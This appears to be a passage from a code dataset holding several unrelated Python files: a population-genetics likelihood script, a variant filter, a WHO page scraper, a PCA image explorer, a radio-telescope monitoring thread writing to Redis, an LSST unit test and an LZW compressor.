t=\"t_B_C\")\nmodel.optimize()\n\nwith open(f'output/{prefix}{rep}.log.txt', 'w') as logfile:\n param_dict = model.get_params()\n logfile.write(f'model\\tparameter\\tvalue\\n')\n for p in param_dict:\n logfile.write(f'model_1\\t{p}\\t{param_dict[p]:.4f}\\n')\n logfile.write(f'model_1\\tlog_likelihood\\t{model.log_likelihood():.4f}\\n')\n\n# model 2: (A,(B,C))\nmodel = momi.DemographicModel(N_e=1e4, gen_time=29, muts_per_gen=1.25e-8)\nmodel.set_data(sfs)\nmodel.add_leaf(\"A\")\nmodel.add_leaf(\"B\")\nmodel.add_leaf(\"C\")\nmodel.add_time_param(\"t_C_B\")\nmodel.add_time_param(\"t_B_A\", lower_constraints=[\"t_C_B\"])\nmodel.move_lineages(\"C\", \"B\", t=\"t_C_B\")\nmodel.move_lineages(\"B\", \"A\", t=\"t_B_A\")\nmodel.optimize()\n\nwith open(f'output/{prefix}{rep}.log.txt', 'a') as logfile:\n param_dict = model.get_params()\n for p in param_dict:\n logfile.write(f'model_2\\t{p}\\t{param_dict[p]:.4f}\\n')\n logfile.write(f'model_2\\tlog_likelihood\\t{model.log_likelihood():.4f}\\n')\n\n# model 3: (B,(A,C))\nmodel = momi.DemographicModel(N_e=1e4, gen_time=29, muts_per_gen=1.25e-8)\nmodel.set_data(sfs)\nmodel.add_leaf(\"A\")\nmodel.add_leaf(\"B\")\nmodel.add_leaf(\"C\")\nmodel.add_time_param(\"t_C_A\")\nmodel.add_time_param(\"t_A_B\", lower_constraints=[\"t_C_A\"])\nmodel.move_lineages(\"C\", \"A\", t=\"t_C_A\")\nmodel.move_lineages(\"A\", \"B\", t=\"t_A_B\")\nmodel.optimize()\n\nwith open(f'output/{prefix}{rep}.log.txt', 'a') as logfile:\n param_dict = model.get_params()\n for p in param_dict:\n logfile.write(f'model_3\\t{p}\\t{param_dict[p]:.4f}\\n')\n logfile.write(f'model_3\\tlog_likelihood\\t{model.log_likelihood():.4f}\\n')\n","sub_path":"scripts/momi_likelihood_ratio_inference.py","file_name":"momi_likelihood_ratio_inference.py","file_ext":"py","file_size_in_byte":3069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"554326704","text":"## Purpose: writes out only variants passing all filters\n## Usage: python print_pass_only.py \n\nimport sys\n\noutf = open(sys.argv[2],'w')\n\nwith open(sys.argv[1],'r') as f1:\n\tfor line in f1:\n\t\ttmp = line.strip().split('\\t')\n\t\tif tmp[0] == 'id':\n\t\t\tidx = {col:index for index, col in enumerate(tmp)}\n\t\t\t#print '\\t'.join(tmp)\n\t\t\toutf.write('\\t'.join(tmp) + '\\n')\n\t\telse:\n\t\t\tfilt = tmp[idx['filter']].split('|')\n\t\t\tkeys = [i.split('_')[0] for i in filt]\n\t\t\tvals = [i.split('_')[1] for i in filt]\n\n\t\t\tfiltd = dict(zip(keys, vals))\n\n\t\t\tif not 'FAIL' in tmp[idx['filter']]:\n\t\t\t\t#print '\\t'.join(tmp)\n\t\t\t\toutf.write('\\t'.join(tmp) + '\\n')\n\noutf.close()\n","sub_path":"scripts/print_pass_only.py","file_name":"print_pass_only.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"391303732","text":"# -- coding: utf-8 --\n\"\"\"\nCreated on Wed Nov 28 13:27:02 2018\n\n@author: Rohan\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen\n#from nltk.corpus import stopwords\n#from nltk.tokenize import word_tokenize\n#import string\n#from collections import counter\n\n\nurl= \"http://www.who.int/csr/don/archive/year/2018/en/\"\nhtml=urlopen(url).read()\nraw=BeautifulSoup(html,features=\"html.parser\").get_text()\n#print(raw)\nsourcecode=requests.get(url)\nplain_text=sourcecode.text\nsoup= BeautifulSoup(plain_text,features=\"html.parser\")\nfor ul in soup.find_all('ul', class_='auto_archive'):\n #href=\"http://www.who.int/csr/don\"+ link.get('href')\n #href=link.get('href')\n print(ul.text)","sub_path":"b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"503583123","text":"from domain.model import Sleepiness\nfrom infrastructure.client.abstract import Client\n\n\nclass SleepinessClient(Client):\n @staticmethod\n def row_to_model(row: tuple) -> Sleepiness:\n \"\"\"\n Sleepinessテーブル構成 (2019/05/26)\n [1] ID\n [2] 日付\n [3] 説明用メモ\n \"\"\"\n return Sleepiness(\n id=row[0],\n date=row[1],\n memo=row[2]\n )\n","sub_path":"infrastructure/client/sleepiness.py","file_name":"sleepiness.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"101464039","text":"import cv2\nimport numpy as np\nfrom utils import image_to_vector, vector_to_image\nfrom sklearn.decomposition import PCA\nimport pickle\n\ndirectory = '../data/clean/'\nwith open(directory + 'train.pkl', 'rb') as input:\n data = pickle.load(input)\ninput = data['inputs']\nlabels = data['labels']\n\npca = PCA(n_components=13)\nprojection = pca.fit_transform(input)\nreconstruction = pca.inverse_transform(projection)\nprint(np.cumsum(pca.singular_values_ / np.sum(pca.singular_values_)), '\\n')\n\nfor i, image in enumerate(input):\n combined = np.concatenate((vector_to_image(image),\n vector_to_image(reconstruction[i, :])), axis=1)\n cv2.imshow('', combined)\n cv2.waitKey(0)\n\nwith open(directory + 'test.pkl', 'rb') as input:\n data = pickle.load(input)\ninput = data['inputs']\nlabels = data['labels']\nprojection = pca.transform(input)\nreconstruction = pca.inverse_transform(projection)\n\nfor i, image in enumerate(input):\n combined = np.concatenate((vector_to_image(image),\n vector_to_image(reconstruction[i, :])), axis=1)\n cv2.imshow('', combined)\n cv2.waitKey(0)\n","sub_path":"explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"247367312","text":"import logging\n\nfrom datetime import datetime\nfrom numpy import nonzero\nfrom numpy.fft import fft, fftfreq\nfrom pickle import dumps, loads\nfrom redis import StrictRedis\nfrom time import sleep\nfrom threading import Semaphore, Thread\n\nfrom ..r2dbe import R2dbe, R2DBE_INPUTS, R2DBE_OUTPUTS, R2DBE_SAMPLE_RATE\n\nfrom defines import *\n\nmodule_logger = logging.getLogger(__name__)\n\n_register_lock = Semaphore()\n_register = {}\n\ndef build_key(mclass, entity, group, attribute, arg=None):\n\tkey = KEY_FORMAT_STRING.format(ksp=KEY_SPLIT, mclass=mclass, instance=entity,\n\t group=group, attribute=attribute)\n\tif arg is not None:\n\t\tkey = KEY_ARG_FORMAT_STRING.format(key=key, arg=arg)\n\n\treturn key\n\ndef decode_attribute_data(enc):\n\treturn loads(enc)\n\ndef encode_attribute_data(arr):\n\treturn dumps(arr)\n\ndef _register_monitor(monitor):\n\t\tglobal _registry_lock\n\t\t\n\t\t# Acquire lock\n\t\twith _register_lock:\n\n\t\t\t# Register the monitor\n\t\t\tmonitoree = monitor.who\n\t\t\tnew_id = 0\n\t\t\ttry:\n\t\t\t\tnew_id = max(_register[monitoree]) + 1\n\t\t\t\t_register[monitoree].append(new_id)\n\t\t\texcept KeyError:\n\t\t\t\t# No other monitors registered yet, keep initial new_id\n\t\t\t\t_register[monitoree] = [new_id]\n\n\t\t\tmodule_logger.info(\"Registered monitor '{monid}' for entity '{who}'\".format(monid=new_id, who=monitoree))\n\n\t\treturn new_id\n\ndef _deregister_monitor(monitor):\n\t\tglobal _registry_lock\n\t\t\n\t\t# Acquire lock\n\t\twith _register_lock:\n\n\t\t\t# Register the monitor\n\t\t\tmonitoree = monitor.who\n\t\t\ttry:\n\t\t\t\t_register[monitoree].pop(_register[monitoree].index(monitor.identity))\n\t\t\t\tif len(_register[monitoree]) == 0:\n\t\t\t\t\t_register.pop(monitoree)\n\t\t\texcept IndexError:\n\t\t\t\tmodule_logger.error(\"Monitor '{monid}' for entity '{who}' is not registered\".format(monid=monitor.identity,\n\t\t\t\t who=monitoree))\n\t\t\texcept KeyError:\n\t\t\t\tmodule_logger.error(\"No monitors are registered for entity '{who}'\".format(monid=monitor.identity,\n\t\t\t\t who=monitoree))\n\n\t\t\tmodule_logger.info(\"Deregistered monitor '{monid}' for entity '{who}'\".format(monid=monitor.identity,\n\t\t\t who=monitoree))\n\nclass MonitorStopped(Exception):\n\tpass\n\nclass R2dbeMonitor(Thread):\n\n\t_MAP_GROUP_METHOD = {\n\t R2DBE_GROUP_SNAP: \"_get_group_snap\",\n\t R2DBE_GROUP_POWER: \"_get_group_power\",\n\t R2DBE_GROUP_TIME: \"_get_group_time\",\n\t R2DBE_GROUP_VDIF: \"_get_group_vdif\",\n\t}\n\n\t@property\n\tdef identity(self):\n\t\treturn self._id\n\n\t@property\n\tdef who(self):\n\t\treturn self._r2dbe_host\n\n\tdef __init__(self, r2dbe_host, period=2.0, stale_after=None, redis_host=\"localhost\", port=6379, db=0, parent_logger=module_logger,\n\t *args, **kwargs):\n\n\t\tsuper(R2dbeMonitor, self).__init__(*args, **kwargs)\n\n\t\t# Set roach2 host and connect\n\t\tself._r2dbe_host = r2dbe_host\n\t\tself._R2dbe = R2dbe(self._r2dbe_host)\n\n\t\t# Register this monitor\n\t\tself._id = _register_monitor(self)\n\n\t\t# Set logger\n\t\tself.logger = logging.getLogger(\"{name}[host={host!r}, identity={monid}]\".format(name=\".\".join((parent_logger.name,\n\t\t self.__class__.__name__)), host=self._R2dbe, monid=self.identity))\n\n\t\t# Connect to redis server\n\t\tself._redis_host = redis_host\n\t\tself._redis = StrictRedis(self._redis_host, port=port, db=db)\n\n\t\t# Set characteristic times\n\t\tself._period = period\n\t\tself._stale_after = int(self._period + 1)\n\t\tif stale_after:\n\t\t\tself._stale_after = int(stale_after)\n\n\t\t# Create lock and terminate condition\n\t\tself._lock = Semaphore()\n\t\tself._stop = False\n\n\t\t# Initialize the parameters to monitor\n\t\tself._groups = set([])\n\n\tdef _build_key(self, group, attribute, arg=None):\n\t\tkey = build_key(R2DBE_MCLASS, self._r2dbe_host, group, attribute, arg=arg)\n\n\t\treturn key\n\n\tdef _call_by_group(self, group_name):\n\t\ttry:\n\t\t\t# Find the method to call\n\t\t\tmethod_name = self._MAP_GROUP_METHOD[group_name]\n\t\t\tmethod = getattr(self, method_name)\n\t\texcept KeyError:\n\t\t\tself.logger.error(\"Invalid group '{grp}' requested\".format(grp=group_name))\n\t\t\treturn\n\t\texcept AttributeError:\n\t\t\tself.logger.error(\"Monitor method for group '{grp}' not implemented yet\".format(grp=group_name))\n\t\t\treturn\n\t\tmethod()\n\n\tdef _is_stopped(self):\n\t\t# Acquire lock\n\t\twith self._lock:\n\n\t\t\t# Read the stop flag\n\t\t\tstop = self._stop\n\n\t\treturn stop\n\n\tdef _get_group_snap(self):\n\t\t# Get snapshots for 2-bit and 8-bit data in a single read\n\t\tx2, x8 = self._R2dbe.get_2bit_and_8bit_snapshot(list(R2DBE_INPUTS))\n\n\t\t# Compute spectrum frequencies\n\t\tfreq = fftfreq(R2DBE_SNAP_FFT_SIZE, 1.0 / R2DBE_SAMPLE_RATE)\n\n\t\t# Limit to only positive half-spectrum\n\t\tidx_pos_half = nonzero(freq >= 0)[0]\n\t\tfreq = freq[idx_pos_half]\n\n\t\t# Compute state counts (2-bit data only), and spectral density\n\t\tfor ii, inp in enumerate(R2DBE_INPUTS):\n\t\t\t# Compute 2-bit state counts (reuse snapshot data)\n\t\t\tcounts2, values2 = self._R2dbe.get_2bit_state_counts(inp, reuse_samples=x2[ii])\n\n\t\t\t# State counts\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_2BIT_COUNTS,\n\t\t\t arg=R2DBE_ARG_SNAP_2BIT_COUNTS % inp)\n\t\t\tself._keys_values[key] = counts2\n\n\t\t\t# State values\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_2BIT_VALUES,\n\t\t\t arg=R2DBE_ARG_SNAP_2BIT_VALUES % inp)\n\t\t\tself._keys_values[key] = values2\n\n\t\t\t# 2-bit spectral density\n\t\t\tX2 = fft(x2[ii].reshape((-1,R2DBE_SNAP_FFT_SIZE)), axis=-1)\n\t\t\tS2 = (X2 * X2.conj()).mean(axis=0)[idx_pos_half]\n\n\t\t\t# Spectral density\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_2BIT_DENSITY,\n\t\t\t arg=R2DBE_ARG_SNAP_2BIT_DENSITY % inp)\n\t\t\tself._keys_values[key] = S2\n\n\t\t\t# Frequency bins\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_2BIT_FREQUENCY,\n\t\t\t arg=R2DBE_ARG_SNAP_2BIT_FREQUENCY % inp)\n\t\t\tself._keys_values[key] = freq\n\n\t\t\t# 8-bit spectral density\n\t\t\tX8 = fft(x8[ii].reshape((-1,R2DBE_SNAP_FFT_SIZE)), axis=-1)\n\t\t\tS8 = (X8 * X8.conj()).mean(axis=0)[idx_pos_half]\n\n\t\t\t# Spectral density\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_8BIT_DENSITY,\n\t\t\t arg=R2DBE_ARG_SNAP_8BIT_DENSITY % inp)\n\t\t\tself._keys_values[key] = S8\n\n\t\t\t# Frequency bins\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_8BIT_FREQUENCY,\n\t\t\t arg=R2DBE_ARG_SNAP_8BIT_FREQUENCY % inp)\n\t\t\tself._keys_values[key] = freq\n\n\t\t# Get state counts for 8-bit data (not from snapshot)\n\t\tcounts8, values8 = self._R2dbe.get_8bit_state_counts(list(R2DBE_INPUTS))\n\t\tfor ii, inp in enumerate(R2DBE_INPUTS):\n\t\t\t# State counts\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_8BIT_COUNTS,\n\t\t\t arg=R2DBE_ARG_SNAP_8BIT_COUNTS % inp)\n\t\t\tself._keys_values[key] = counts8[ii]\n\t\t\t# State values\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_8BIT_VALUES,\n\t\t\t arg=R2DBE_ARG_SNAP_8BIT_VALUES % inp)\n\t\t\tself._keys_values[key] = values8[ii]\n\n\t\t# Get 2-bit requantization thresholds\n\t\tthresholds = self._R2dbe.get_2bit_threshold(list(R2DBE_INPUTS))\n\t\tfor ii, inp in enumerate(R2DBE_INPUTS):\n\t\t\tkey = self._build_key(R2DBE_GROUP_SNAP, R2DBE_ATTR_SNAP_2BIT_THRESHOLD,\n\t\t\t arg=R2DBE_ARG_SNAP_2BIT_THRESHOLD % inp)\n\t\t\tself._keys_values[key] = thresholds[ii]\n\n\tdef _get_group_power(self):\n\t\tpass\n\n\tdef _get_group_time(self):\n\t\t# Current time\n\t\tkey = self._build_key(R2DBE_GROUP_TIME, R2DBE_ATTR_TIME_NOW)\n\t\tself._keys_values[key] = self._R2dbe.get_time()\n\n\t\t# Up time\n\t\tkey = self._build_key(R2DBE_GROUP_TIME, R2DBE_ATTR_TIME_ALIVE)\n\t\tself._keys_values[key] = self._R2dbe.get_up_time()\n\n\t\t# GPS PPS count\n\t\tkey = self._build_key(R2DBE_GROUP_TIME, R2DBE_ATTR_TIME_GPS_PPS_COUNT)\n\t\tself._keys_values[key] = self._R2dbe.get_gps_pps_count()\n\n\t\t# GPS PPS offset seconds\n\t\tkey = self._build_key(R2DBE_GROUP_TIME, R2DBE_ATTR_TIME_GPS_PPS_OFFSET_TIME)\n\t\tself._keys_values[key] = self._R2dbe.get_gps_pps_time_offset()\n\n\t\t# GPS PPS offset clock cycles\n\t\tkey = self._build_key(R2DBE_GROUP_TIME, R2DBE_ATTR_TIME_GPS_PPS_OFFSET_CYCLE)\n\t\tself._keys_values[key] = self._R2dbe.get_gps_pps_clock_offset()\n\n\tdef _get_group_vdif(self):\n\t\t# Get station codes\n\t\tstation_ids = self._R2dbe.get_station_id(list(R2DBE_OUTPUTS))\n\t\tfor ii, outp in enumerate(R2DBE_OUTPUTS):\n\t\t\tkey = self._build_key(R2DBE_GROUP_VDIF, R2DBE_ATTR_VDIF_STATION, arg=R2DBE_ARG_VDIF_STATION % outp)\n\t\t\tself._keys_values[key] = station_ids[ii]\n\n\t\t# Get IFSignal\n\t\tinputs = self._R2dbe.get_input(list(R2DBE_INPUTS))\n\t\tfor ii, inp in enumerate(R2DBE_INPUTS):\n\t\t\t# Receiver sideband\n\t\t\tkey = self._build_key(R2DBE_GROUP_VDIF, R2DBE_ATTR_VDIF_RECEIVER_SIDEBAND,\n\t\t\t arg=R2DBE_ARG_VDIF_RECEIVER_SIDEBAND % inp)\n\t\t\tself._keys_values[key] = str(inputs[ii].rx_sb)\n\t\t\t# BDC sideband\n\t\t\tkey = self._build_key(R2DBE_GROUP_VDIF, R2DBE_ATTR_VDIF_BDC_SIDEBAND, arg=R2DBE_ARG_VDIF_BDC_SIDEBAND % inp)\n\t\t\tself._keys_values[key] = str(inputs[ii].bdc_sb)\n\t\t\t# Polarization\n\t\t\tkey = self._build_key(R2DBE_GROUP_VDIF, R2DBE_ATTR_VDIF_POLARIZATION, arg=R2DBE_ARG_VDIF_POLARIZATION % inp)\n\t\t\tself._keys_values[key] = str(inputs[ii].pol)\n\n\tdef _monitor_groups(self):\n\t\t# Initialize local result storage\n\t\tself._keys_values = {}\n\n\t\tfor group in self._groups:\n\t\t\tself._call_by_group(group)\n\n\t\t# Register the results\n\t\tfor key, value in self._keys_values.items():\n\t\t\tself._store_attribute(key, encode_attribute_data(value), expire_after=self._stale_after)\n\n\tdef _store_attribute(self, name, value, expire_after=0):\n\t\tself._redis.set(name, value, ex=expire_after)\n\n\tdef add_group(self, group):\n\t\tif group in self._groups:\n\t\t\tself.logger.warn(\"Group '{grp}' already in monitor list\".format(grp=group))\n\t\t\treturn\n\n\t\tself._groups.add(group)\n\n\t\tself.logger.info(\"Added '{grp}' to monitor list\".format(grp=group))\n\n\tdef del_group(self, group):\n\t\ttry:\n\t\t\tself._groups.remove(group)\n\n\t\t\tself.logger.info(\"Removed '{grp}' from monitor list\".format(grp=group))\n\n\t\texcept KeyError:\n\t\t\tself.logger.error(\"Could not remove '{grp}', not in monitor list\".format(grp=group))\n\n\tdef set_stop(self):\n\t\t# Acquire lock\n\t\twith self._lock:\n\n\t\t\t# Set the stop flag\n\t\t\tself._stop = True\n\n\tdef run(self):\n\n\t\t# Subtract this from the wait time for start of next monitoring period\n\t\tSLEEP_OFFSET = 0.001\n\t\t# In case calculated wait time is negative, sleep for at least \n\t\tSLEEP_MIN = 0.000001\n\t\t# Set maximum sleep time for faster external interrupt\n\t\tSLEEP_MAX = 1.0\n\n\t\ttime_prev = datetime.utcnow()\n\n\t\ttry:\n\n\t\t\twhile True:\n\n\t\t\t\ttime_curr = datetime.utcnow()\n\t\t\t\twhile True:\n\n\t\t\t\t\t# First check if stop condition reached\n\t\t\t\t\tif self._is_stopped():\n\t\t\t\t\t\tself.logger.info(\"Received stop signal, quiting.\")\n\t\t\t\t\t\traise MonitorStopped()\n\n\t\t\t\t\t# Then check if it is time to update data\n\t\t\t\t\twait_for = self._period - (time_curr - time_prev).total_seconds()\n\t\t\t\t\tif wait_for < 0:\n\t\t\t\t\t\tbreak\n\n\t\t\t\t\t# Otherwise wait a while\n\t\t\t\t\tsleep_time = min(wait_for, SLEEP_MAX)\n\t\t\t\t\tsleep_time = max(sleep_time - SLEEP_OFFSET, SLEEP_MIN)\n\t\t\t\t\tsleep(sleep_time)\n\n\t\t\t\t\t# Update current time\n\t\t\t\t\ttime_curr = datetime.utcnow()\n\n\t\t\t\t# Update previous time\n\t\t\t\ttime_prev = time_curr\n\n\t\t\t\t# Do the monitoring\n\t\t\t\tself._monitor_groups()\n\n\t\texcept MonitorStopped:\n\t\t\tpass\n\n\t\t# Deregister this monitor\n\t\t_deregister_monitor(self)\n\t\tdelattr(self, \"_id\")\n\nclass R2dbeSyncMonitor(R2dbeMonitor):\n\n\tdef __init__(self, r2dbe_host, ignore_late=False, usec_into=300000, usec_tol=100000, **kwargs):\n\t\tsuper(R2dbeSyncMonitor, self).__init__(r2dbe_host, **kwargs)\n\n\t\t# Set timing characteristics\n\t\tself._usec_into = usec_into\n\t\tself._usec_tol = usec_tol\n\n\t\t# Set whether late data is to be ignored\n\t\tself._ignore_late = ignore_late\n\n\tdef _monitor_groups(self):\n\t\t# Initialize local result storage\n\t\tself._keys_values = {}\n\n\t\t# Wait until few 100s of ms into second\n\t\tt0 = datetime.utcnow()\n\t\tone_sec_usec = 1000000\n\t\tone_usec_sec = 1e-6\n\t\twhile abs(t0.microsecond - self._usec_into) > self._usec_tol:\n\t\t\tif t0.microsecond > self._usec_into:\n\t\t\t\t# sleep until start of next second\n\t\t\t\tsleep_time_usec = one_sec_usec - t0.microsecond\n\t\t\telse:\n\t\t\t\t# sleep until earliest valid\n\t\t\t\tsleep_time_usec = self._usec_into - self._usec_tol - t0.microsecond\n\t\t\tsleep(max(sleep_time_usec * one_usec_sec, one_usec_sec))\n\t\t\tt0 = datetime.utcnow()\n\n\t\tfor group in self._groups:\n\t\t\tself._call_by_group(group)\n\n\t\t# Check if all reads completed in the same second\n\t\tt1 = datetime.utcnow()\n\t\tif (t1.second != t0.second):\n\t\t\tself.logger.warn(\"Not all attributes for group '{grp}' were read within the same second (delta = {sec:.3f})\".format(\n\t\t\t grp=R2DBE_GROUP_TIME, sec=(t1 - t0).total_seconds()))\n\n\t\t\t# If late data is ignored, return without storing\n\t\t\tif self._ignore_late:\n\t\t\t\treturn\n\n\t\t# Register the results\n\t\tfor key, value in self._keys_values.items():\n\t\t\tself._store_attribute(key, encode_attribute_data(value), expire_after=self._stale_after)\n","sub_path":"lib/mandc/monitor/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":12397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"507339742","text":"#!/usr/bin/env python\n\n#\n# LSST Data Management System\n# Copyright 2008-2013 LSST Corporation.\n#\n# This product includes software developed by the\n# LSST Project (http://www.lsst.org/).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the LSST License Statement and\n# the GNU General Public License along with this program. If not,\n# see .\n#\n\nimport unittest\nimport os\nimport numpy\n\nimport lsst.utils.tests\nimport lsst.shapelet\nimport lsst.afw.geom.ellipses\nimport lsst.meas.modelfit\n\ntry:\n import scipy.integrate\nexcept ImportError:\n scipy = None\n\nnumpy.random.seed(500)\n\nlsst.pex.logging.Debug(\"meas.modelfit.SemiEmpiricalPrior\", 10)\n\nclass SemiEmpiricalPriorTestCase(lsst.utils.tests.TestCase):\n\n NUM_DIFF_STEP = 1E-4\n\n def setUp(self):\n # a prior with broad ramps and non-zero slope; broad ramps makes evaluating numerical\n # derivatives easier, and we want to do that to check the analytic ones\n self.ctrl = lsst.meas.modelfit.SemiEmpiricalPrior.Control()\n self.ctrl.ellipticityCore = 4.0\n self.ctrl.ellipticitySigma = 10.0\n self.ctrl.logRadiusMinOuter = self.ctrl.logRadiusMinInner - 8.0\n self.ctrl.logRadiusMu = 2.0\n self.ctrl.logRadiusSigma = 5.0\n self.ctrl.logRadiusNu = 2.0\n self.prior = lsst.meas.modelfit.SemiEmpiricalPrior(self.ctrl)\n self.amplitudes = numpy.array([1.0], dtype=lsst.meas.modelfit.Scalar)\n dtype = numpy.dtype([(\"eta1\", float), (\"eta2\", float), (\"lnR\", float), (\"p\", float),\n (\"d_eta1\", float), (\"d_eta2\", float), (\"d_lnR\", float),\n (\"d2_eta1_eta1\", float), (\"d2_eta1_eta2\", float),\n (\"d2_eta1_lnR\", float), (\"d2_eta2_eta2\", float),\n (\"d2_eta2_lnR\", float), (\"d2_lnR_lnR\", float)])\n self.data = numpy.loadtxt(\"tests/data/SEP.txt\", dtype=dtype)\n\n def tearDown(self):\n del self.prior\n del self.amplitudes\n\n def testEvaluate(self):\n for row in self.data:\n p = self.prior.evaluate(numpy.array([row[\"eta1\"], row[\"eta2\"], row[\"lnR\"]]), self.amplitudes)\n self.assertClose(row[\"p\"], p)\n\n def testGradient(self):\n for row in self.data:\n grad = numpy.zeros(4, dtype=float)\n hess = numpy.zeros((4,4), dtype=float)\n self.prior.evaluateDerivatives(\n numpy.array([row[\"eta1\"], row[\"eta2\"], row[\"lnR\"]]),\n self.amplitudes,\n grad[:3], grad[3:],\n hess[:3,:3], hess[3:, 3:], hess[:3,3:]\n )\n self.assertClose(row[\"d_eta1\"], grad[0])\n self.assertClose(row[\"d_eta2\"], grad[1])\n self.assertClose(row[\"d_lnR\"], grad[2])\n\n def testHessian(self):\n for row in self.data:\n grad = numpy.zeros(4, dtype=float)\n hess = numpy.zeros((4,4), dtype=float)\n self.prior.evaluateDerivatives(\n numpy.array([row[\"eta1\"], row[\"eta2\"], row[\"lnR\"]]),\n self.amplitudes,\n grad[:3], grad[3:],\n hess[:3,:3], hess[3:, 3:], hess[:3,3:]\n )\n self.assertClose(row[\"d2_eta1_eta1\"], hess[0,0])\n self.assertClose(row[\"d2_eta1_eta2\"], hess[0,1])\n self.assertClose(row[\"d2_eta1_lnR\"], hess[0,2])\n self.assertClose(row[\"d2_eta2_eta2\"], hess[1,1])\n self.assertClose(row[\"d2_eta2_lnR\"], hess[1,2])\n self.assertClose(row[\"d2_lnR_lnR\"], hess[2,2])\n\n\n def evaluatePrior(self, eta1, eta2, lnR):\n b = numpy.broadcast(eta1, eta2, lnR)\n p = numpy.zeros(b.shape, dtype=lsst.meas.modelfit.Scalar)\n for i, (eta1i, eta2i, lnRi) in enumerate(b):\n p.flat[i] = self.prior.evaluate(numpy.array([eta1i, eta2i, lnRi]), self.amplitudes)\n return p\n\ndef suite():\n \"\"\"Returns a suite containing all the test cases in this module.\"\"\"\n\n lsst.utils.tests.init()\n\n suites = []\n suites += unittest.makeSuite(SemiEmpiricalPriorTestCase)\n suites += unittest.makeSuite(lsst.utils.tests.MemoryTestCase)\n return unittest.TestSuite(suites)\n\ndef run(shouldExit=False):\n \"\"\"Run the tests\"\"\"\n lsst.utils.tests.run(suite(), shouldExit)\n\nif __name__ == \"__main__\":\n run(True)\n","sub_path":"tests/testSemiEmpiricalPrior.py","file_name":"testSemiEmpiricalPrior.py","file_ext":"py","file_size_in_byte":4792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"198231730","text":"\n# LZW Encoder\n# Name: Aditya Gupta\n# ID: 800966229\n# ITCS 6114\n\nimport sys\nfrom sys import argv\nfrom struct import *\nfrom time import time\nfrom pathlib import Path\n# taking the input file and the number of bits from command line\n# defining the maximum table size\n# opening the input file\n# reading the input file and storing the file data into data variable\ndef encode(input_file):\n n=250 \n maximum_table_size = pow(2,int(n)) \n file = open(input_file) \n data = file.read() \n\n # Building and initializing the dictionary.\n dictionary_size = 256 \n dictionary = {chr(i): i for i in range(dictionary_size)} \n string = \"\" # String is null.\n compressed_data = [] # variable to store the compressed data.\n\n # iterating through the input symbols.\n # LZW Compression algorithm\n for symbol in data: \n string_plus_symbol = string + symbol # get input symbol.\n if string_plus_symbol in dictionary: \n string = string_plus_symbol\n else:\n compressed_data.append(dictionary[string])\n if(len(dictionary) <= maximum_table_size):\n dictionary[string_plus_symbol] = dictionary_size\n dictionary_size += 1\n string = symbol\n\n if string in dictionary:\n compressed_data.append(dictionary[string])\n #print(compressed_data)\n # storing the compressed string into a file (byte-wise).\n out = input_file.split(\".\")[0]\n output_file = open(out + \".lzw\", \"wb\")\n for data in compressed_data:\n output_file.write(pack('>H',int(data)))\n \n output_file.close()\n file.close()\n\ndef decode(input_file):\n # taking the compressed file input and the number of bits from command line\n # defining the maximum table size\n # opening the compressed file\n # defining variables\n n=250 \n maximum_table_size = pow(2,int(n))\n file = open(input_file, \"rb\")\n compressed_data = []\n next_code = 256\n decompressed_data = \"\"\n string = \"\"\n\n # Reading the compressed file.\n while True:\n rec = file.read(2)\n if len(rec) != 2:\n break\n (data, ) = unpack('>H', rec)\n compressed_data.append(data)\n\n # Building and initializing the dictionary.\n dictionary_size = 256\n dictionary = dict([(x, chr(x)) for x in range(dictionary_size)])\n\n # iterating through the codes.\n # LZW Decompression algorithm\n for code in compressed_data:\n if not (code in dictionary):\n dictionary[code] = string + (string[0])\n decompressed_data += dictionary[code]\n if not(len(string) == 0):\n dictionary[next_code] = string + (dictionary[code][0])\n next_code += 1\n string = dictionary[code]\n\n # storing the decompressed string into a file.\n out = input_file.split(\".\")[0]\n output_file = open(out + \"_decoded.txt\", \"w\")\n for data in decompressed_data:\n output_file.write(data)\n \n output_file.close()\n file.close()\n\nstart_time = time()\nencode(\"Texto_generado.txt\")\nfile = Path(\"Texto_generado.txt\") # or Path('./doc.txt')\nsize1 = file.stat().st_size\nelapsed_time = time() - start_time\nfile = Path(\"Texto_generado.lzw\") # or Path('./doc.txt')\nsize2 = file.stat().st_size\nprint(\"tiempo: \",elapsed_time)\nprint(\"tamaño:\",size1,\"tamaño dsp de 